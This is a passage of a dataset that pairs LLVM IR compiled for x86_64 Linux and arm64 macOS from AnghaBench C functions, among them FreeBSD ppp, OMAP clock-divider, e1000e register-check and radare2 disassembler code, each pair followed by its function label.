= !{!"Simple C/C++ TBAA"} !9 = !{!10, !10, i64 0} !10 = !{!"int", !7, i64 0}
fastsocket_kernel_net_mac80211_extr_rc80211_pid_debugfs.c_rate_control_pid_event_rate_change
; ModuleID = 'AnghaBench/freebsd/usr.sbin/ppp/extr_ether.c_ether_Free.c' source_filename = "AnghaBench/freebsd/usr.sbin/ppp/extr_ether.c_ether_Free.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @llvm.compiler.used = appending global [1 x ptr] [ptr @ether_Free], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal void @ether_Free(ptr noundef %0) #0 { %2 = load i32, ptr %0, align 4, !tbaa !5 %3 = tail call ptr @device2ether(i32 noundef %2) #2 %4 = tail call i32 @physical_SetDescriptor(ptr noundef nonnull %0) #2 %5 = load i32, ptr %3, align 4, !tbaa !10 %6 = icmp eq i32 %5, -1 br i1 %6, label %9, label %7 7: ; preds = %1 %8 = tail call i32 @close(i32 noundef %5) #2 br label %9 9: ; preds = %7, %1 %10 = tail call i32 @free(ptr noundef nonnull %3) #2 ret void } declare ptr @device2ether(i32 noundef) local_unnamed_addr #1 declare i32 @physical_SetDescriptor(ptr noundef) local_unnamed_addr #1 declare i32 @close(i32 noundef) local_unnamed_addr #1 declare i32 @free(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !7, i64 0} !6 = !{!"physical", !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"} !10 = !{!11, !7, i64 0} !11 = !{!"etherdevice", !7, i64 0}
; ModuleID = 'AnghaBench/freebsd/usr.sbin/ppp/extr_ether.c_ether_Free.c' source_filename = "AnghaBench/freebsd/usr.sbin/ppp/extr_ether.c_ether_Free.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @llvm.used = appending global [1 x ptr] [ptr @ether_Free], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal void @ether_Free(ptr noundef %0) #0 { %2 = load i32, ptr %0, align 4, !tbaa !6 %3 = tail call ptr @device2ether(i32 noundef %2) #2 %4 = tail call i32 @physical_SetDescriptor(ptr noundef nonnull %0) #2 %5 = load i32, ptr %3, align 4, !tbaa !11 %6 = icmp eq i32 %5, -1 br i1 %6, label %9, label %7 7: ; preds = %1 %8 = tail call i32 @close(i32 noundef %5) #2 br label %9 9: ; preds = %7, %1 %10 = tail call i32 @free(ptr noundef nonnull %3) #2 ret void } declare ptr @device2ether(i32 noundef) local_unnamed_addr #1 declare i32 @physical_SetDescriptor(ptr noundef) local_unnamed_addr #1 declare i32 @close(i32 noundef) local_unnamed_addr #1 declare i32 @free(ptr noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !8, i64 0} !7 = !{!"physical", !8, i64 0} !8 = !{!"int", !9, i64 0} !9 = !{!"omnipotent char", !10, i64 0} !10 = !{!"Simple C/C++ TBAA"} !11 = !{!12, !8, i64 0} !12 = !{!"etherdevice", !8, i64 0}
freebsd_usr.sbin_ppp_extr_ether.c_ether_Free
; ModuleID = 'AnghaBench/linux/arch/arm/mach-omap2/extr_cm2xxx.c_omap2xxx_cm_set_mod_dividers.c' source_filename = "AnghaBench/linux/arch/arm/mach-omap2/extr_cm2xxx.c_omap2xxx_cm_set_mod_dividers.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @MPU_MOD = dso_local local_unnamed_addr global i32 0, align 4 @CM_CLKSEL = dso_local local_unnamed_addr global i32 0, align 4 @OMAP24XX_DSP_MOD = dso_local local_unnamed_addr global i32 0, align 4 @GFX_MOD = dso_local local_unnamed_addr global i32 0, align 4 @CORE_MOD = dso_local local_unnamed_addr global i32 0, align 4 @CM_CLKSEL1 = dso_local local_unnamed_addr global i32 0, align 4 @OMAP24XX_CLKSEL_DSS2_MASK = dso_local local_unnamed_addr global i32 0, align 4 @OMAP2430_MDM_MOD = dso_local local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind uwtable define dso_local void @omap2xxx_cm_set_mod_dividers(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4) local_unnamed_addr #0 { %6 = load i32, ptr @MPU_MOD, align 4, !tbaa !5 %7 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !5 %8 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %0, i32 noundef %6, i32 noundef %7) #2 %9 = load i32, ptr @OMAP24XX_DSP_MOD, align 4, !tbaa !5 %10 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !5 %11 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %1, i32 noundef %9, i32 noundef %10) #2 %12 = load i32, ptr @GFX_MOD, align 4, !tbaa !5 %13 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !5 %14 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %2, i32 noundef %12, i32 noundef %13) #2 %15 = load i32, ptr @CORE_MOD, align 4, !tbaa !5 %16 = load i32, ptr @CM_CLKSEL1, align 4, !tbaa !5 %17 = tail call i32 @omap2_cm_read_mod_reg(i32 noundef %15, i32 noundef %16) #2 %18 = load i32, ptr @OMAP24XX_CLKSEL_DSS2_MASK, align 4, !tbaa !5 %19 = and i32 %18, %17 %20 = or i32 %19, %3 %21 = load i32, ptr @CORE_MOD, align 4, !tbaa !5 %22 = load i32, ptr @CM_CLKSEL1, align 4, !tbaa !5 %23 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %20, i32 noundef %21, i32 noundef %22) #2 %24 = icmp eq i32 %4, 0 br i1 %24, label %29, label %25 25: ; preds = %5 %26 = load i32, ptr @OMAP2430_MDM_MOD, align 4, !tbaa !5 %27 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !5 %28 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %4, i32 noundef %26, i32 noundef %27) #2 br label %29 29: ; preds = %25, %5 ret void } declare i32 @omap2_cm_write_mod_reg(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @omap2_cm_read_mod_reg(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/linux/arch/arm/mach-omap2/extr_cm2xxx.c_omap2xxx_cm_set_mod_dividers.c' source_filename = "AnghaBench/linux/arch/arm/mach-omap2/extr_cm2xxx.c_omap2xxx_cm_set_mod_dividers.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @MPU_MOD = common local_unnamed_addr global i32 0, align 4 @CM_CLKSEL = common local_unnamed_addr global i32 0, align 4 @OMAP24XX_DSP_MOD = common local_unnamed_addr global i32 0, align 4 @GFX_MOD = common local_unnamed_addr global i32 0, align 4 @CORE_MOD = common local_unnamed_addr global i32 0, align 4 @CM_CLKSEL1 = common local_unnamed_addr global i32 0, align 4 @OMAP24XX_CLKSEL_DSS2_MASK = common local_unnamed_addr global i32 0, align 4 @OMAP2430_MDM_MOD = common local_unnamed_addr global i32 0, align 4 ; Function Attrs: nounwind ssp uwtable(sync) define void @omap2xxx_cm_set_mod_dividers(i32 noundef %0, i32 noundef %1, i32 noundef %2, i32 noundef %3, i32 noundef %4) local_unnamed_addr #0 { %6 = load i32, ptr @MPU_MOD, align 4, !tbaa !6 %7 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !6 %8 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %0, i32 noundef %6, i32 noundef %7) #2 %9 = load i32, ptr @OMAP24XX_DSP_MOD, align 4, !tbaa !6 %10 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !6 %11 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %1, i32 noundef %9, i32 noundef %10) #2 %12 = load i32, ptr @GFX_MOD, align 4, !tbaa !6 %13 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !6 %14 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %2, i32 noundef %12, i32 noundef %13) #2 %15 = load i32, ptr @CORE_MOD, align 4, !tbaa !6 %16 = load i32, ptr @CM_CLKSEL1, align 4, !tbaa !6 %17 = tail call i32 @omap2_cm_read_mod_reg(i32 noundef %15, i32 noundef %16) #2 %18 = load i32, ptr @OMAP24XX_CLKSEL_DSS2_MASK, align 4, !tbaa !6 %19 = and i32 %18, %17 %20 = or i32 %19, %3 %21 = load i32, ptr @CORE_MOD, align 4, !tbaa !6 %22 = load i32, ptr @CM_CLKSEL1, align 4, !tbaa !6 %23 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %20, i32 noundef %21, i32 noundef %22) #2 %24 = icmp eq i32 %4, 0 br i1 %24, label %29, label %25 25: ; preds = %5 %26 = load i32, ptr @OMAP2430_MDM_MOD, align 4, !tbaa !6 %27 = load i32, ptr @CM_CLKSEL, align 4, !tbaa !6 %28 = tail call i32 @omap2_cm_write_mod_reg(i32 noundef %4, i32 noundef %26, i32 noundef %27) #2 br label %29 29: ; preds = %25, %5 ret void } declare i32 @omap2_cm_write_mod_reg(i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @omap2_cm_read_mod_reg(i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
linux_arch_arm_mach-omap2_extr_cm2xxx.c_omap2xxx_cm_set_mod_dividers
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/e1000e/extr_ethtool.c_reg_set_and_check.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/e1000e/extr_ethtool.c_reg_set_and_check.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @.str = private unnamed_addr constant [64 x i8] c"set/check test failed (reg 0x%05X): got 0x%08X expected 0x%08X\0A\00", align 1 @llvm.compiler.used = appending global [1 x ptr] [ptr @reg_set_and_check], section "llvm.metadata" ; Function Attrs: nounwind uwtable define internal noundef i32 @reg_set_and_check(ptr noundef %0, ptr nocapture noundef writeonly %1, i32 noundef %2, i32 noundef %3, i32 noundef %4) #0 { %6 = and i32 %4, %3 %7 = tail call i32 @__ew32(ptr noundef %0, i32 noundef %2, i32 noundef %6) #2 %8 = tail call i32 @__er32(ptr noundef %0, i32 noundef %2) #2 %9 = and i32 %8, %3 %10 = icmp eq i32 %6, %9 br i1 %10, label %13, label %11 11: ; preds = %5 %12 = tail call i32 @e_err(ptr noundef nonnull @.str, i32 noundef %2, i32 noundef %9, i32 noundef %6) #2 store i32 %2, ptr %1, align 4, !tbaa !5 br label %13 13: ; preds = %5, %11 %14 = phi i32 [ 1, %11 ], [ 0, %5 ] ret i32 %14 } declare i32 @__ew32(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @__er32(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @e_err(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"}
; ModuleID = 'AnghaBench/fastsocket/kernel/drivers/net/e1000e/extr_ethtool.c_reg_set_and_check.c' source_filename = "AnghaBench/fastsocket/kernel/drivers/net/e1000e/extr_ethtool.c_reg_set_and_check.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @.str = private unnamed_addr constant [64 x i8] c"set/check test failed (reg 0x%05X): got 0x%08X expected 0x%08X\0A\00", align 1 @llvm.used = appending global [1 x ptr] [ptr @reg_set_and_check], section "llvm.metadata" ; Function Attrs: nounwind ssp uwtable(sync) define internal range(i32 0, 2) i32 @reg_set_and_check(ptr noundef %0, ptr nocapture noundef writeonly %1, i32 noundef %2, i32 noundef %3, i32 noundef %4) #0 { %6 = and i32 %4, %3 %7 = tail call i32 @__ew32(ptr noundef %0, i32 noundef %2, i32 noundef %6) #2 %8 = tail call i32 @__er32(ptr noundef %0, i32 noundef %2) #2 %9 = and i32 %8, %3 %10 = icmp eq i32 %6, %9 br i1 %10, label %13, label %11 11: ; preds = %5 %12 = tail call i32 @e_err(ptr noundef nonnull @.str, i32 noundef %2, i32 noundef %9, i32 noundef %6) #2 store i32 %2, ptr %1, align 4, !tbaa !6 br label %13 13: ; preds = %5, %11 %14 = phi i32 [ 1, %11 ], [ 0, %5 ] ret i32 %14 } declare i32 @__ew32(ptr noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 declare i32 @__er32(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @e_err(ptr noundef, i32 noundef, i32 noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind ssp uwtable(sync) "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #1 = { "frame-pointer"="non-leaf" "no-trapping-math"="true" "probe-stack"="__chkstk_darwin" "stack-protector-buffer-size"="8" "target-cpu"="apple-m1" "target-features"="+aes,+altnzcv,+bti,+ccdp,+ccidx,+complxnum,+crc,+dit,+dotprod,+flagm,+fp-armv8,+fp16fml,+fptoint,+fullfp16,+jsconv,+lse,+neon,+pauth,+perfmon,+predres,+ras,+rcpc,+rdm,+sb,+sha2,+sha3,+specrestrict,+ssbs,+v8.1a,+v8.2a,+v8.3a,+v8.4a,+v8.5a,+v8a,+zcm,+zcz" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3, !4} !llvm.ident = !{!5} !0 = !{i32 2, !"SDK Version", [2 x i32] [i32 15, i32 5]} !1 = !{i32 1, !"wchar_size", i32 4} !2 = !{i32 8, !"PIC Level", i32 2} !3 = !{i32 7, !"uwtable", i32 1} !4 = !{i32 7, !"frame-pointer", i32 1} !5 = !{!"Apple clang version 17.0.0 (clang-1700.0.13.5)"} !6 = !{!7, !7, i64 0} !7 = !{!"int", !8, i64 0} !8 = !{!"omnipotent char", !9, i64 0} !9 = !{!"Simple C/C++ TBAA"}
fastsocket_kernel_drivers_net_e1000e_extr_ethtool.c_reg_set_and_check
; ModuleID = 'AnghaBench/radare2/libr/asm/arch/tms320/extr_tms320_dasm.c_decode_bits.c' source_filename = "AnghaBench/radare2/libr/asm/arch/tms320/extr_tms320_dasm.c_decode_bits.c" target datalayout = "e-m:e-p270:32:32-p271:32:32-p272:64:64-i64:64-i128:128-f80:128-n8:16:32:64-S128" target triple = "x86_64-unknown-linux-gnu" @R = dso_local local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [4 x i8] c"[r]\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.2 = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.3 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1 @u = dso_local local_unnamed_addr global i32 0, align 4 @.str.4 = private unnamed_addr constant [4 x i8] c"[u]\00", align 1 @.str.5 = private unnamed_addr constant [2 x i8] c"u\00", align 1 @g = dso_local local_unnamed_addr global i32 0, align 4 @.str.6 = private unnamed_addr constant [5 x i8] c"[40]\00", align 1 @.str.7 = private unnamed_addr constant [3 x i8] c"40\00", align 1 @U = dso_local local_unnamed_addr global i32 0, align 4 @.str.8 = private unnamed_addr constant [8 x i8] c"[T3 = ]\00", align 1 @.str.9 = private unnamed_addr constant [4 x i8] c"t3=\00", align 1 ; Function Attrs: nounwind uwtable define dso_local void @decode_bits(ptr noundef %0) local_unnamed_addr #0 { %2 = load i32, ptr @R, align 4, !tbaa !5 %3 = tail call i64 @field_valid(ptr noundef %0, i32 noundef %2) #2 %4 = icmp eq i64 %3, 0 br i1 %4, label %12, label %5 5: ; preds = %1 %6 = load i32, ptr %0, align 4, !tbaa !9 %7 = load i32, ptr @R, align 4, !tbaa !5 %8 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %7) #2 %9 = icmp eq i64 %8, 0 %10 = select i1 %9, ptr @.str.3, ptr @.str.2 %11 = tail call i32 @substitute(i32 noundef %6, ptr noundef nonnull @.str, ptr noundef nonnull @.str.1, ptr noundef nonnull %10) #2 br label %12 12: ; preds = %5, %1 %13 = load i32, ptr @u, align 4, !tbaa !5 %14 = tail call i64 @field_valid(ptr noundef %0, i32 noundef %13) #2 %15 = icmp eq i64 %14, 0 br i1 %15, label %23, label %16 16: ; preds = %12 %17 = load i32, ptr %0, align 4, !tbaa !9 %18 = load i32, ptr @u, align 4, !tbaa !5 %19 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %18) #2 %20 = icmp eq i64 %19, 0 %21 = select i1 %20, ptr @.str.3, ptr @.str.5 %22 = tail call i32 @substitute(i32 noundef %17, ptr noundef nonnull @.str.4, ptr noundef nonnull @.str.1, ptr noundef nonnull %21) #2 br label %23 23: ; preds = %16, %12 %24 = load i32, ptr @g, align 4, !tbaa !5 %25 = tail call i64 @field_valid(ptr noundef %0, i32 noundef %24) #2 %26 = icmp eq i64 %25, 0 br i1 %26, label %34, label %27 27: ; preds = %23 %28 = load i32, ptr %0, align 4, !tbaa !9 %29 = load i32, ptr @g, align 4, !tbaa !5 %30 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %29) #2 %31 = icmp eq i64 %30, 0 %32 = select i1 %31, ptr @.str.3, ptr @.str.7 %33 = tail call i32 @substitute(i32 noundef %28, ptr noundef nonnull @.str.6, ptr noundef nonnull @.str.1, ptr noundef nonnull %32) #2 br label %34 34: ; preds = %27, %23 %35 = load i32, ptr @U, align 4, !tbaa !5 %36 = tail call i64 @field_valid(ptr noundef %0, i32 noundef %35) #2 %37 = icmp eq i64 %36, 0 br i1 %37, label %45, label %38 38: ; preds = %34 %39 = load i32, ptr %0, align 4, !tbaa !9 %40 = load i32, ptr @U, align 4, !tbaa !5 %41 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %40) #2 %42 = icmp eq i64 %41, 0 %43 = select i1 %42, ptr @.str.3, ptr @.str.9 %44 = tail call i32 @substitute(i32 noundef %39, ptr noundef nonnull @.str.8, ptr noundef nonnull @.str.1, ptr noundef nonnull %43) #2 br label %45 45: ; preds = %38, %34 ret void } declare i64 @field_valid(ptr noundef, i32 noundef) local_unnamed_addr #1 declare i32 @substitute(i32 noundef, ptr noundef, ptr noundef, ptr noundef) local_unnamed_addr #1 declare i64 @field_value(ptr noundef, i32 noundef) local_unnamed_addr #1 attributes #0 = { nounwind uwtable "min-legal-vector-width"="0" "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #1 = { "no-trapping-math"="true" "stack-protector-buffer-size"="8" "target-cpu"="x86-64" "target-features"="+cmov,+cx8,+fxsr,+mmx,+sse,+sse2,+x87" "tune-cpu"="generic" } attributes #2 = { nounwind } !llvm.module.flags = !{!0, !1, !2, !3} !llvm.ident = !{!4} !0 = !{i32 1, !"wchar_size", i32 4} !1 = !{i32 8, !"PIC Level", i32 2} !2 = !{i32 7, !"PIE Level", i32 2} !3 = !{i32 7, !"uwtable", i32 2} !4 = !{!"clang version 18.1.8 (https://github.com/llvm/llvm-project.git 3b5b5c1ec4a3095ab096dd780e84d7ab81f3d7ff)"} !5 = !{!6, !6, i64 0} !6 = !{!"int", !7, i64 0} !7 = !{!"omnipotent char", !8, i64 0} !8 = !{!"Simple C/C++ TBAA"} !9 = !{!10, !6, i64 0} !10 = !{!"TYPE_5__", !6, i64 0}
; ModuleID = 'AnghaBench/radare2/libr/asm/arch/tms320/extr_tms320_dasm.c_decode_bits.c' source_filename = "AnghaBench/radare2/libr/asm/arch/tms320/extr_tms320_dasm.c_decode_bits.c" target datalayout = "e-m:o-i64:64-i128:128-n32:64-S128-Fn32" target triple = "arm64-apple-macosx15.0.0" @R = common local_unnamed_addr global i32 0, align 4 @.str = private unnamed_addr constant [4 x i8] c"[r]\00", align 1 @.str.1 = private unnamed_addr constant [3 x i8] c"%s\00", align 1 @.str.2 = private unnamed_addr constant [2 x i8] c"r\00", align 1 @.str.3 = private unnamed_addr constant [1 x i8] zeroinitializer, align 1 @u = common local_unnamed_addr global i32 0, align 4 @.str.4 = private unnamed_addr constant [4 x i8] c"[u]\00", align 1 @.str.5 = private unnamed_addr constant [2 x i8] c"u\00", align 1 @g = common local_unnamed_addr global i32 0, align 4 @.str.6 = private unnamed_addr constant [5 x i8] c"[40]\00", align 1 @.str.7 = private unnamed_addr constant [3 x i8] c"40\00", align 1 @U = common local_unnamed_addr global i32 0, align 4 @.str.8 = private unnamed_addr constant [8 x i8] c"[T3 = ]\00", align 1 @.str.9 = private unnamed_addr constant [4 x i8] c"t3=\00", align 1 ; Function Attrs: nounwind ssp uwtable(sync) define void @decode_bits(ptr noundef %0) local_unnamed_addr #0 { %2 = load i32, ptr @R, align 4, !tbaa !6 %3 = tail call i64 @field_valid(ptr noundef %0, i32 noundef %2) #2 %4 = icmp eq i64 %3, 0 br i1 %4, label %12, label %5 5: ; preds = %1 %6 = load i32, ptr %0, align 4, !tbaa !10 %7 = load i32, ptr @R, align 4, !tbaa !6 %8 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %7) #2 %9 = icmp eq i64 %8, 0 %10 = select i1 %9, ptr @.str.3, ptr @.str.2 %11 = tail call i32 @substitute(i32 noundef %6, ptr noundef nonnull @.str, ptr noundef nonnull @.str.1, ptr noundef nonnull %10) #2 br label %12 12: ; preds = %5, %1 %13 = load i32, ptr @u, align 4, !tbaa !6 %14 = tail call i64 @field_valid(ptr noundef %0, i32 noundef %13) #2 %15 = icmp eq i64 %14, 0 br i1 %15, label %23, label %16 16: ; preds = %12 %17 = load i32, ptr %0, align 4, !tbaa !10 %18 = load i32, ptr @u, align 4, !tbaa !6 %19 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %18) #2 %20 = icmp eq i64 %19, 0 %21 = select i1 %20, ptr @.str.3, ptr @.str.5 %22 = tail call i32 @substitute(i32 noundef %17, ptr noundef nonnull @.str.4, ptr noundef nonnull @.str.1, ptr noundef nonnull %21) #2 br label %23 23: ; preds = %16, %12 %24 = load i32, ptr @g, align 4, !tbaa !6 %25 = tail call i64 @field_valid(ptr noundef %0, i32 noundef %24) #2 %26 = icmp eq i64 %25, 0 br i1 %26, label %34, label %27 27: ; preds = %23 %28 = load i32, ptr %0, align 4, !tbaa !10 %29 = load i32, ptr @g, align 4, !tbaa !6 %30 = tail call i64 @field_value(ptr noundef nonnull %0, i32 noundef %29) #2 %31 = icmp eq i64 %30, 0 %32 = select i1 %31, ptr @.str.3, ptr @.str.7 %33 = tail call i32 @substitute(i32 noundef %28, ptr noundef nonnull @.str.6, ptr noundef nonnull @.str.1, ptr noundef nonnull %32) #2 br label %34 34: ; preds = %27, %23 %35 = load i32, ptr @U, align 4, !tbaa !6 %36 = tail 